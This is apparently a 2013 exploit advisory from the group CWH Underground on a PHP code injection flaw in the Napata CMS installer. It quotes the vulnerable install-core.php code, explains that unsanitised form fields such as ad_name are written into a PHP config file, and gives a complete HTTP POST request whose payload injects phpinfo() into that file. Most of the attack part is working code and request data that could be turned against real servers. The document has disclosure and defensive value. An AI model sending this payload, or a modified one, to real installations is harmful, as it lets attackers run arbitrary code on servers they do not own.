# Exploit Title : Napata CMS PHP Code Injection
# Date : 5 June 2013
# Exploit Author : CWH Underground
# Site : www.2600.in.th
# Vendor Homepage : http://napata-cms.blogspot.com/
# Software Link : http://sourceforge.net/projects/napatacms/files/latest/download
# Version : 1.5.2013
# Tested on : Window and Linux
,--^----------,--------,-----,-------^--,
| ||||||||| `--------' | O .. CWH Underground Hacking Team ..
`+---------------------------^----------|
`\_,-------, _________________________|
/ XXXXXX /`| /
/ XXXXXX / `\ /
/ XXXXXX /\______(
/ XXXXXX /
/ XXXXXX /
(________(
`------'
####################################
VULNERABILITY: PHP CODE INJECTION
####################################
/install/install-core.php (LINE: 123-151)
-----------------------------------------------------------------------------
LINE 123-149:
function SaveSettings () {
global $_POST;
if(isset($_POST['save_settings']))
{
echo 'The config file has been written ......<br />';
$default_time = isset($_POST['default_time']) ? $_POST['default_time'] : 'UTC';
$db_host = isset($_POST['db_host']) ? $_POST['db_host'] : 'localhost';
$db_name = isset($_POST['db_name']) ? $_POST['db_name'] : '';
$db_user = isset($_POST['db_user']) ? $_POST['db_user'] : 'root';
$db_password = isset($_POST['db_password']) ? $_POST['db_password'] : '';
$db_prefix = isset($_POST['db_prefix']) ? $_POST['db_prefix'] : 'npt_';
$ad_name = isset($_POST['ad_name']) ? $_POST['ad_name'] : '';
$ad_username = isset($_POST['ad_username']) ? $_POST['ad_username'] : 'admin';
$ad_email = isset($_POST['ad_email']) ? $_POST['ad_email'] : '';
$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$sitename = isset($_POST['sitename']) ? addslashes($_POST['sitename']) : 'Napata CMS';
$tagline = isset($_POST['tagline']) ? addslashes($_POST['tagline']) : 'A different CMS';
$home_articles = isset($_POST['home_articles']) ? $_POST['home_articles'] : '5';
$static_homepage = isset($_POST['homepage']) ? addslashes($_POST['homepage']) : '';
$twitter = isset($_POST['twitter']) ? $_POST['twitter'] : 'http://twitter.com/username';
$facebook = isset($_POST['facebook']) ? $_POST['facebook'] : 'http://www.facebook.com';
$linkedin = isset($_POST['linkedin']) ? $_POST['linkedin'] : 'http://www.linkedin.com';
$youtube = isset($_POST['youtube']) ? $_POST['youtube'] : 'http://www.youtube.com';
$flickr = isset($_POST['flickr']) ? $_POST['flickr'] : 'http://www.flickr.com';
$version = VERSION;
-----------------------------------------------------------------------------
-----------------------------------------------------------------------------
LINE 151:
$fh = fopen("include/settings/base.php", 'w+') or die("Could not create the config file. Please check the file permissions to the cms installation folder.");
-----------------------------------------------------------------------------
#####################################################
DESCRIPTION
#####################################################
An attacker might write to arbitrary files or inject arbitrary code into a file with this vulnerability.
User tainted data is used when creating the file name that will be opened or when creating the string that will be written to the file.
An attacker can try to write arbitrary PHP code in a PHP file allowing to fully compromise the server.
This CMS has input validation by addslashes() function (LINE: 140,141,143). Anyway attacker able to insert PHP code "Admin');phpinfo();//" into other parameter
that's not properly sanitized.
/settings/base.php
-----------------------------------------------------------------------------
...
date_default_timezone_set('UTC');
define ('DATABASE_HOST', 'localhost');
define ('DATABASE_NAME', 'napata');
define ('DATABASE_USER_NAME', 'root');
define ('DATABASE_PASSWORD', 'myDB@dm1n');
define('ADMIN_NAME','Admin');phpinfo();//');
define('ADMIN_USERNAME','admin');
...
-----------------------------------------------------------------------------
#####################################################
EXPLOIT
#####################################################
POST /napata/install.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/napata/install.php
Cookie: lang=en_US; PHPSESSID=s291lhmkfa4qsjk5kb5k5268e3
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 525
default_time=UTC&db_host=localhost&db_name=napata&db_user=root&db_password=myDB@dm1n&db_prefix=npt_&ad_name=Admin');phpinfo();//&ad_username=admin&
ad_email=admin%40this-site.com&domain=www.what-is-my-site-domain.me&sitename=Napata+CMS&tagline=A+different+CMS&home_articles=5&homepage=About+Us&
twitter=http%3A%2F%2Ftwitter.com%2Fusername&facebook=http%3A%2F%2Fwww.facebook.com&linkedin=http%3A%2F%2Fwww.linkedin.com&youtube=http%3A%2F%2Fwww.youtube.com&
flickr=http%3A%2F%2Fwww.flickr.com&save_settings=Save+Settings
################################################################################################################
Greetz : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2
################################################################################################################